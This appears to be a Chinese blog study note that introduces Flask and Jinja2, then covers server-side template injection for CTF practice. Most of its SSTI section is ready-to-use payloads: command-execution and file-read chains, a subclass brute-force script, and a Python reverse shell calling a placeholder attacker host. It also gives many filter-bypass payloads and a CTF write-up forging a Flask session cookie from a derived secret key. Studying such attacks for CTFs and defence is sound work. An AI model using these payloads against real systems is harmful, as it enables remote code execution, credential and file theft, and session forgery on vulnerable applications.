0%

flask框架&&ssti学习笔记

flask框架&&ssti 学习笔记

最近做web题的时候碰到了很多flask框架,我感觉必须得学一下这个框架了,而且这个题很多和ssti结合的

什么是flask框架

flask简介

Flask 是一个用 Python 编写的轻量级 Web 应用框架,基于 Werkzeug WSGI 工具箱和 Jinja2 模板引擎。
作为一个微框架,Flask 提供核心功能,但没有内置的数据库抽象层或表单验证工具。这使得开发者可以根据需要选择合适的扩展来添加功能,保持了框架的灵活性。Flask 被称为“微框架”,因为它使用简单的核心,用扩展增加其他功能。

Flask 的主要特点包括:

  • 内建开发用服务器和调试器
  • 集成的单元测试支持
  • RESTful 请求分派
  • 使用 Jinja2 模板引擎
  • 支持安全 cookie(客户端会话)
  • 完全兼容 WSGI 1.0
  • 基于 Unicode
  • 详细的文档和教程
  • 兼容 Google App Engine
  • 可通过扩展增加其他功能
    用flask创建一个web应用的简单示例:
1
2
3
4
5
6
7
8
9
from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
return "Hello World!"

if __name__ == "__main__":
app.run()

路由和试图函数

在 Flask 框架中,路由 和 视图函数 是构建 Web 应用的核心概念

路由:定义了 URL 与视图函数之间的映射关系。当用户访问特定的 URL 时,Flask 根据路由规则调用相应的视图函数处理请求。
视图函数:处理特定 URL 请求的函数,通常返回一个响应,例如 HTML 页面或 JSON 数据。
动态路由与变量规则:
 Flask 支持在路由中定义动态部分,允许在 URL 中捕获变量。
常用的动态路由规则包括:

  1. URL 路由的一部分可以标记为变量:使用尖括号 <变量名> 表示。例如,/user//。
  2. 指定变量类型:可以在变量名前添加类型说明,如 int、string、float、uuid 等。格式为 <类型:变量名>。
  3. 示例:
    定义一个整数类型的动态路由:
1
2
3
4

@app.route('/<int:id>/comments/')
def comments(id):
return f"这是一个 {id} 的评论页面"

定义一个字符串类型的动态路由:

1
2
3
@app.route('/welcome/<string:username>/')
def welcome(username):
return f"<h1>欢迎用户 {username} 登陆网站</h1>"

常见函数

  • render_template: 用于渲染模板并返回包含动态内容的 HTML 页面。它的主要作用是将模板文件与数据结合,生成最终的 HTML 响应。
    示例
1
2
3
4
5
6
7
8
9
from flask import Flask, render_template

app = Flask(__name__)

@app.route('/home')
def home():
user = {'username': 'Alice'}
return render_template('home.html', user=user)

  • redirect: 用于将客户端重定向到不同的 URL。
    示例
1
2
3
4
@app.route('/logout')
def logout():
# 执行注销逻辑
return redirect(url_for('index'))
  • url_for(endpoint, **values):生成指定视图函数的 URL。常用于在模板或视图函数中动态生成链接。
1
2
3
with app.test_request_context():
print(url_for('index')) # 输出: '/'
print(url_for('login')) # 输出: '/login'
  • request: 获取当前请求的数据,例如表单数据、查询参数、文件等。
  • session: 用于存储会话数据,通常用于保存用户的登录状态等信息。
  • before_first_request: 在处理第一个请求之前执行的函数。
  • before_request:在每个请求之前执行的函数。
  • teardown_request:在每个请求结束时执行的函数,无论请求是否成功。
  • context_processor:用于在模板中自动提供全局变量的函数。
1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, render_template

app = Flask(__name__)

@app.context_processor
def inject_user():
user = {'username': 'Alice'}
return dict(user=user)

@app.route('/')
def index():
return render_template('index.html')

登录验证之HTTP请求方法

http请求方法

  • GET方法
    1.获取页面信息
    2.可以提交数据信息,但信息数据不安全,会显示用户帐号密码
  • POST方法
    提交服务端需要的请求信息,url不会显示用户的相关信息,有利于数据的安全性
  • PUT方法
    用户向服务器指定url上传资源
  • DELETE方法
    用户向服务器指定url删除资源

get请求方式示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import Flask, render_template, request, redirect

app = Flask(__name__)
@app.route('/')
def index():
return "<h1>主页</h1>"

@app.route('/login/')
def login():
# 一般情况, 不会直接把html文件内容直接返回;
# 而是将html文件保存到当前的templates目录中;
# 1). 通过render_template方法调用;
# 2). 默认情况下,Flask 在程序文件夹中的 templates 子文件夹中寻找模板。
return render_template('login.html')


@app.route('/login2/')
def login2():
# 获取用户输入的用户名
username = request.args.get('username', None)
password = request.args.get('password', None)
# 逻辑处理, 用来判断用户和密码是否正确;
if username == 'root' and password == 'redhat':
# 重定向到指定路由;
return redirect('/')
# return "登录成功"
else:
return "登录失败"

if __name__ == '__main__':
app.run()

post

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import  Flask, request, render_template, redirect
app = Flask(__name__)


@app.route('/')
def index():
return "这是主页"


# 默认路由只支持get方法, 如何指定接受post方法?
@app.route('/login/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
# 难点: post请求提交的数据如何获取?
print(request.form)
username = request.form.get('username', None)

password = request.form.get('password', None)
# 如果用户名和密码正确, 跳转到主页;
if username == 'root' and password == 'redhat':
return redirect('/')
# 如果登录不正确, 则警告红色信息;还是在登录页面;
else:
# 可以给html传递变量
return render_template('login_post.html',
errMessages="用户名或者密码错误"
)
else:
return render_template('login_post.html')
if __name__ == '__main__':
app.run()

模板jinja2

什么是Jinja2模板引擎?

1). python的Web开发中, 业务逻辑(实质就是视图函数的内容)和页面逻辑(html文件)分开的, 使得代码的可读性增强, 代码容易理解和维护;

2). 模板渲染: 在html文件中,通过动态赋值 ,将重新翻译好的html文件(模板引擎生效) 返回给用户的过程。

3). 其他的模板引擎: Mako, Template, Jinja2

语法

1). Jinja2变量显示语法: {{ 变量名 }}
Jinja2变量内置过滤器:
safe 渲染值时不转义
capitalize 把值的首字母转换成大写,其他字母转换成小写
lower 把值转换成小写形式
upper 把值转换成大写形式
title 把值中每个单词的首字母都转换成大写
trim 把值的首尾空格去掉
striptags 渲染之前把值中所有的 HTML 标签都删掉
自定义过滤器

1
2
3
4
5
6
7
8
9
from flask import Flask

app = Flask(__name__)

@app.template_filter('capitalize')
def capitalize_filter(text):
if isinstance(text, str):
return text.capitalize()
return text

在模板中使用该过滤器:
<p>{{ 'hello world' | capitalize }}</p>
通过管道符 | 将变量传递给过滤器。可以链式使用多个过滤器
2). for循环:

1
2
{% for i in li%}
{% endfor %}

3). if语句

1
2
3
4
5
6
7
{% if user == ‘westos’%}

{% elif user == ‘hello’ %}

{% else %}

{% endif%}

在jinja2中

1
2
3
{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值

ssti

和bp实验室中的ssti不同,我这里主要针对jinjia的ssti,因为这是flask的默认模板, 下面的内容主要来自hello-ctf,我觉得说得很清楚了,我把主要内容贴在下面了,也可以直接去看源地址 https://hello-ctf.com/hc-web/ssti/#_7

模板

对于大多数模板,他们的工作流程我们可以这样概括: 定义模板 -> 传递数据 -> 渲染模板 -> 输出生成

模板注入(Server-Side Template Injection) 的原理和sql注入原理差不多,都是因为用户的输入来控制某种程序流
Jinja2 在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,所以当我们传入 {{表达式}} 时,表达式就会被渲染器执行。
比如输入{{7 * 7}} 会渲染成49

一般流程

在可以的地方插入{{7 * 7}}{{config}} 等 在页面上看有没有解析 来确定是否有注入点
一般的wp的payload都差不多是这样

1
2
3
4
5
6
7
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
......

为什么都是这样子呢 要先了解python中的几个知识点

  • 对象 : 在 Python 中 一切皆为对象 ,当你创建一个列表 []、一个字符串 “” 或一个字典 {} 时,你实际上是在创建不同类型的对象。
  • 继承 : 我们知道对象是类的实例,类是对象的模板。在我们创建一个对象的时候,其实就是创建了一个类的实例,而在 python 中所有的类都继承于一个基类,我们可以通过一些方法,从创建的对象反向查找它的类,以及对应类父类。这样我们就能从任意一个对象回到类的端点,也就是基类,再从端点任意的向下查找。
  • 魔术方法 : 我们如何去实现在继承中我们提到的过程呢?这就需要在上面 Payload 中类似 __class__ 的魔术方法了,通过拼接不同作用的魔术方法来操控类,我们就能实现文件的读取或者命令的执行了。
    我们大可以把我们在 SSTI 做的事情抽象成下面的代码:

class O: pass # O 是基类,A、B、F、G 都直接或间接继承于它

1
2
3
4
5
6
7
8
9
# 继承关系 A -> B -> O
class B(O): pass
class A(B): pass

# F 类继承自 O,拥有读取文件的方法
class F(O): def read_file(self, file_name): pass

# G 类继承自 O,拥有执行系统命令的方法
class G(O): def exec(self, command): pass

比如我们现在就只拿到了 A,但我们想读取目录下面的 flag ,于是就有了下面的尝试:

找对象 A 的类 - 类 A -> 找类 A 的父亲 - 类 B -> 找祖先 / 基类 - 类 O -> 遍历祖先下面所有的子类 -> 找到可利用的类 类 F 类 G-> 构造利用方法-> 读写文件 / 执行命令

1
2
3
4
5
6
7
8
9
10
>>>print(A.__class__) # 使用 __class__ 查看类属性
<class '__main__.A'>
>>> print(A.__class__.__base__) # 使用 __base__ 查看父类
<class '__main__.B'>
>>> print(A.__class__.__base__.__base__)# 查看父类的父类 (如果继承链足够长,就需要多个base)
<class '__main__.O'>
>>>print(A.__class__.__mro__) # 直接使用 __mro__ 查看类继承关系顺序
(<class '__main__.A'>, <class '__main__.B'>, <class '__main__.O'>, <class 'object'>)
>>>print(A.__class__.__base__.__base__.__subclasses__()) # 查看祖先下面所有的子类(这里假定祖先为O)
[<class '__main__.B'>, <class '__main__.F'>, <class '__main__.G'>]

在 Python 中,所有类最终都继承自一个特殊的基类,名为 object。这是所有类的“祖先”,拿到它即可获取 Python 中所有的子类。

1
2
3
4
5
# 更多魔术方法可以在 SSTI 备忘录部分查看
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

拿基类

下面的这个例子是分别用__mro__ __bases__ __base__ 拿到基类的示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> request.__class__
<class 'flask.wrappers.Request'>

>>> request.__class__.__mro__
(<class 'flask.wrappers.Request'>, <class 'werkzeug.wrappers.request.Request'>, <class 'werkzeug.sansio.request.Request'>, <class 'flask.wrappers.JSONMixin'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'object'>) # 返回为元组
>>> request.__class__.__mro__[-1]
<class 'object'>

>>> request.__class__.__bases__
(<class 'werkzeug.wrappers.request.Request'>, <class 'flask.wrappers.JSONMixin'>) # 返回为元组
>>> request.__class__.__bases__[0].__bases__[0].__bases__[0]
<class 'object'>

>>> request.__class__.__base__
<class 'werkzeug.wrappers.request.Request'>
>>> request.__class__.__base__.__base__.__base__
<class 'object'>

寻找子类

当我们拿到基类,也就是 <class ‘object’> 时,便可以直接使用 subclasses() 获取基类的所有子类了。

1
2
3
>>> ().__class__.__base__.__subclasses__()
>>> ().__class__.__bases__[0]__subclasses__()
>>> ().__class__.__mro__[-1].__subclasses__()

我们只关心可以执行命令或者读取文件的子类,但是subclasses非常多,我们只要确定子类有没有os或者file的相关模块

比如我们以存在 eval 函数的类为例子,我们不需要认识类名,我们只需要知道,这个类通过 .__init__.__globals__.__builtins__['eval']('') 的方式可以调用 eval 的模块就好了。

1
2
3
__init__             初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取函数所处空间下可使用的module、方法以及所有变量。
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.

其实在面向对象的角度解释这样做很容易,对象是需要初始化的,而 init 的作用就是把我们选取的对象初始化,然后如何去使用对象中的方法呢?这就需要用到 globals 来获取对全局变量或模块的引用。
这时候问题就来了,我们在获取子类之后,要怎么找到内建函数有eval或者os等的呢
用python脚本或者模板语言都能自动化完成这个过程

1
2
3
4
5
6
7
8
9
10
11
# 使用 python 脚本 用于寻找序号
url = "http://url/level/1"
def find_eval(url):
for i in range(500):
data = {
'code': "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}",
}
res = requests.post(url, data=data, headers=headers)
if 'eval' in res.text:
print(data)
find_eval(url)

这个code是我们测试出来的注入点,也可以用模板语言直接找到之后发送payload

1
2
3
4
5
6
 # 模板语法 _ 命令执行_eval
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endfor %}

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# eval 
x[NUM].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')

# os.py
x[NUM].__init__.__globals__['os'].popen('ls /').read()

# popen
x[NUM].__init__.__globals__['popen']('ls /').read()

# _frozen_importlib.BuiltinImporter
x[NUM]["load_module"]("os")["popen"]("ls /").read()

# linecache
x[NUM].__init__.__globals__['linecache']['os'].popen('ls /').read()

# subprocess.Popen
x[NUM]('ls /',shell=True,stdout=-1).communicate()[0].strip()

文件读取

由于 Python2 中的 File 类在 Python3 中被去掉了,所以目前也就 FileLoader ( _frozen_importlib_external.FileLoader) 算真正意义上原生的文件读取

1
[].__class__.__bases__[0].__subclasses__()[NUM]["get_data"](0,"/etc/passwd")

其他文件读取的方法无非还是在命令执行的基础上去导入文件操作的包

1
2
3
4
5
6
7
8
9
10
11
- codecs模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('codecs').open('/app/flag').read()")

- pathlib模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('pathlib').Path('/app/flag').read_text()")

- io模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('io').open('/app/flag').read()")

- open函数
x[NUM].__init__.__globals__['__builtins__'].eval("open('/app/flag').read()")

探索

内建函数有很多可用的方法,可以取出__builtins__中的内容 然后寻找文件和命令相关的函数,可以在python的官方文档中找到内置函数

Jinja SSTI 备忘录

基类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# bases 会返回元组形式 
>>> __bases__[0] == __base__
#因为 mro 会显示继承顺序,而所有类最终都继承自一个特殊的基类 object,所以 __mro__[-1] 总是能拿到基类
>>> __base__*N == __mro__[-1]

[].__class__.__base__
''.__class__.__base__
().__class__.__base__
{}.__class__.__base__

request.__class__.__mro__[-1] # 需要导入过 request 模块
dict.__class__.__mro__[-1]
config.__class__.__base__.__base__
config.__class__.__base__.__base__

通用 payload ( Python3 )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# 命令执行_eval
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endfor %}

# 命令执行_os.py
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'os' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['os'].popen('ls /').read() }}
{% endif %}
{% endfor %}

# 命令执行_popen
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'popen' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['popen']('ls /').read() }}
{% endif %}
{% endfor %}

# 命令执行__frozen_importlib.BuiltinImporter
{% for x in [].__class__.__base__.__subclasses__() %}
{% if 'BuiltinImporter' in x.__name__ %}
{{ x["load_module"]("os")["popen"]("ls /").read() }}
{% endif %}
{% endfor %}

# 命令执行_linecache
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'linecache' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['linecache']['os'].popen('ls /').read() }}
{% endif %}
{% endfor %}


# 命令执行_exec(无回显故反弹shell)
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'exec' in x.__init__.__globals__['__builtins__']['exec'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST_IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
{% endif %}
{% endfor %}

{{().__class__.__bases__[0].__subclasses__()[216].__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}

# 命令执行_catch_warnings
{% for x in [].__class__.__base__.__subclasses__() %}{% if 'war' in x.__name__ %}{{ x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

# catch_warnings 读取文件
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('/app/flag', 'r').read() }}{% endif %}{% endfor %}

# _frozen_importlib_external.FileLoader 读取文件
{% for x in [].__class__.__base__.__subclasses__() %} # {% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'FileLoader' in x.__name__ %}
{{ x["get_data"](0,"/etc/passwd")}}
{% endif %}
{% endfor %}

# 其他RCE
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}

识别流程


{{7*'7'}}在 Twig 中返回49 ,在 Jinja2 中返回7777777

过滤器

1
2
3
4
5
6
7
8
9
10
https://www.raingray.com/archives/4183.html
https://xz.aliyun.com/t/11090#toc-6
https://xz.aliyun.com/t/9584#toc-6
https://zhuanlan.zhihu.com/p/618277583
https://blog.csdn.net/2301_77485708/article/details/132467976
https://cloud.tencent.com/developer/article/2287431
https://blog.csdn.net/Manuffer/article/details/120739989
https://tttang.com/hc-archive1698/#toc__5
https://jinja.palletsprojects.com/en/latest/templates/
https://docs.python.org/zh-cn/3/library/functions.html

例题

nssctf [CISCN 2019华东南]Web4


发现这里是用/read?url=xxx 可以先验证有没有任意文件读取漏洞, 用/etc/passwd尝试发现真的有
然后输入/proc/self/cmdline 这个文件是读取当前进程的命令 返回/usr/local/bin/python/app/app.py 说明这个是一个flask框架的题目
这个read功能也是一个路由,访问app.py只要url中输入app.py,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# encoding: utf-8
import re
import random
import uuid
import urllib

from flask import Flask, session, request

app = Flask(__name__)

# 设置随机种子
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True


@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! Read somethings'


@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall(r'^file.*', url, re.IGNORECASE)
n = re.findall(r'flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'

res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'


@app.route('/flag')
def flag():
if session and session.get('username') == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'


if __name__ == '__main__':
app.run(debug=True, host="0.0.0.0")

/路由中会设置session['username'] = 'www-data' flag路由中如果session中的username是fuck就能得到flag
uuid.getnode()这个函数是获取mac地址 但是随机种子一般是个位数,然后把数据转成十六进制
在/sys/class/net/eth0/address中得到mac地址 02:42:ac:02:56:ed -> 0x0242ac0256ed
但是要注意用python2执行,得到SECRET_KEY

1
2
3
4
5
6
import uuid
import random

random.seed(0x0242ac0256ed)

print(str(random.random() * 233))#176.896276856

然后用flask-session-cookie-manager工具生成session值

1
2
(base) kakeru@bogon flask-session-cookie-manager-master % python3 flask_session_cookie_manager3.py encode -s 176.896276856 -t "{'username':'fuck'}"
eyJ1c2VybmFtZSI6ImZ1Y2sifQ.Z9Q02Q.BwRGhQnimBzqix5uXVI21w1xL_0

把网页中的session值修改成这个,然后访问flag路由得到flag

nssctf ssti-flask-labs


这就是一个ssti的靶场,可以练习不同的ssti的绕过姿势
从最简单的没有waf开始,就是直接用刚才的通用payload,遍历找到一个有eval的内建函数,然后调用eval就可以了

1
2
3
4
5
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endfor %}

还可以用下面这个命令来爆破出是subclasses中的哪一个,便于下面的过滤

1
2
{{''.__class__.__base__.__subclasses__()[x].__init__.__globals__['__import__']('os').popen('env').read()}} 
#相当于执行 import os; os.popen('env')

总结下后面的过滤姿势

  • 过滤 (连续两个大括号) 用{% %} {%print payload %}
  • 输出内容无回显 把内容写到另一个可以访问到的目录,然后访问这个目录
  • 过滤中括号 利用Python 中列表中括号访问指定下标元素实际上是调用了列表的 __getitem__() 方法,字典也实现了这个魔术方法 用这个方法代替中括号
1
{{''.__class__.__base__.__subclasses__().__getitem__(80).__init__.__globals__.__getitem__('__import__')('os').popen('env').read()}} 
  • 过滤单引号和双引号 从http请求汇总获取这些字符串的参数,因为
    flask 中有一个 request 对象,有 args (查询参数), form (表单数据), values (查询参数 + 表单参数) 等属性 request 对象始终指代当前处理的 HTTP 请求 需要在bp中发送这个url参数
1
2
3
{{{}.__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.a1](request.args.a2).popen(request.args.a3).read()}} 

?a1=__import__&a2=os&a3=env
  • 过滤_ 结合 attr() 与 | 一层一层访问
    attr(obj, name) 是一个 Jinja2 的内置函数,用于从对象 obj 中动态访问属性或方法,属性名通过 name 提供
1
{{((''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')())[80]|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f'))['\x5f\x5fimport\x5f\x5f']('os').popen('env').read()}}
  • 过滤. 和上题一样的思路,用attr访问对象的属性 用管道符|连接就不会用到.
1
{{((''|attr('__class__')|attr('__base__')|attr('__subclasses__')())[80]|attr('__init__')|attr('__globals__'))['__import__']('os')|attr('popen')('env')|attr('read')()}}
  • 过滤class init args requests base这些关键字
    根据属性除了.访问,还能用中括号访问,然后把被过滤的关键字中的几个字符用16进制数改写
1
{{''['__cl\x61ss__']['__b\x61se__']['__subcl\x61sses__']()[80]['__i\x6eit__']['__glob\x61ls__']['__import__']('os')['pope\x6e']('env')['read']()}}
  • 过滤数字 无法通过下表访问子类,那就用通用payload的循环找到可以利用的类就可以 或者可以把 第80个子类的名字用.__name__打印出来然后用for循环找到这个类
1
2
3
4
5
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endfor %}
  • set config = None 要get config
    在 Flask 中,url_for 是一个用于生成 URL 的函数,而 current_app 是一个指向当前 Flask 应用实例的全局代理对象。当在 Jinja2 模板中使用 url_for 时,可以通过访问其 __globals__ 属性来获取当前应用实例,即 current_app,进而访问其 config 属性。
1
{{url_for.__globals__['current_app'].config}}
  • 过滤' " + request . [ ]
    解决. 和中括号和之前的方法一样 用attr和getitem
1
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(80)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__import__')('os')|attr('popen')('env')|attr('read')()}}

但是现在参数不能用request了 解决方案是用set定义字典,因为键和值不用引号 jinja2中join转换成str,字典中只转换键

1
2
3
4
5
6
7
8
9
10
11
12
13
{% set c=dict(__class__=wtf)|join %}
{% set b=dict(__base__=wtf)|join %}
{% set s=dict(__subclasses__=wtf)|join %}
{% set gi=dict(__getitem__=wtf)|join %}
{% set init=dict(__init__=wtf)|join %}
{% set gl=dict(__globals__=wtf)|join %}
{% set im=dict(__import__=wtf)|join %}
{% set o=dict(os=wtf)|join %}
{% set p=dict(popen=wtf)|join %}
{% set e=dict(env=wtf)|join %}
{% set r=dict(read=wtf)|join %}

{{c|attr(c)|attr(b)|attr(s)()|attr(gi)(80)|attr(init)|attr(gl)|attr(gi)(im)(o)|attr(p)(e)|attr(r)()}}
  • 过滤_ . 0-9 \ ' " [ ]
    先在第一关中找到_的索引定位
1
{{(config|string).index('_')}}

数字用字典转字符串+count
先把congfig转成字符 列表 然后用pop移除并返回其字符列表中索引为 64 的元素 也就是下划线

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{% set eighty=dict(aaaaabbbbbcccccdddddaaaaabbbbbcccccdddddaaaaabbbbbcccccdddddaaaaabbbbbcccccddddd=wtf)|join|count %}
{% set six=dict(aaaaaa=wtf)|join|count %}
{% set sf=eighty-six %}

{% set p = dict(pop=wtf)|join %}
{% set underline=config|string|list|attr(p)(sf) %}

{% set c=(underline,underline,dict(class=wtf)|join,underline,underline)|join%}
{% set b=(underline,underline,dict(base=wtf)|join,underline,underline)|join%}
{% set s=(underline,underline,dict(subclasses=wtf)|join,underline,underline)|join%}
{% set gi=(underline,underline,dict(getitem=wtf)|join,underline,underline)|join%}
{% set init=(underline,underline,dict(init=wtf)|join,underline,underline)|join%}
{% set gl=(underline,underline,dict(globals=wtf)|join,underline,underline)|join%}
{% set im=(underline,underline,dict(import=wtf)|join,underline,underline)|join%}

{% set o=dict(os=wtf)|join %}
{% set p=dict(popen=wtf)|join %}
{% set e=dict(env=wtf)|join %}
{% set r=dict(read=wtf)|join %}

{{c|attr(c)|attr(b)|attr(s)()|attr(gi)(eighty)|attr(init)|attr(gl)|attr(gi)(im)(o)|attr(p)(e)|attr(r)()}}

  • 过滤 _ . \ ' " request + class init arg config app self [ ]
    组合前面的payload lipsum是jinja2的全局函数 在本地执行一下{% set strs=lipsum|string|list %} 可以得到很多字符的列表,然后用pop找下划线
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{% set p = dict(pop=wtf)|join %}
{% set underline=lipsum|string|list|attr(p)(18) %}

{% set c=(underline,underline,dict(cl=wtf)|join,dict(ass=wtf)|join,underline,underline)|join%}
{% set b=(underline,underline,dict(base=wtf)|join,underline,underline)|join%}
{% set s=(underline,underline,dict(subcl=wtf)|join,dict(asses=wtf)|join,underline,underline)|join%}
{% set gi=(underline,underline,dict(getitem=wtf)|join,underline,underline)|join%}
{% set in=(underline,underline,dict(in=wtf)|join,dict(it=wtf)|join,underline,underline)|join%}
{% set gl=(underline,underline,dict(globals=wtf)|join,underline,underline)|join%}
{% set im=(underline,underline,dict(import=wtf)|join,underline,underline)|join%}

{% set o=dict(os=wtf)|join %}
{% set p=dict(popen=wtf)|join %}
{% set e=dict(env=wtf)|join %}
{% set r=dict(read=wtf)|join %}

{{c|attr(c)|attr(b)|attr(s)()|attr(gi)(80)|attr(in)|attr(gl)|attr(gi)(im)(o)|attr(p)(e)|attr(r)()}}

参考来源

https://blog.csdn.net/q7w8e9r4/article/details/133745524
https://blog.csdn.net/mkgdjing/article/details/87971138
https://www.bilibili.com/video/BV1FD421u75B/?spm_id_from=333.1365.top_right_bar_window_history.content.click
https://hello-ctf.com/hc-web/ssti/#_12
https://www.kkayu.com/archive/2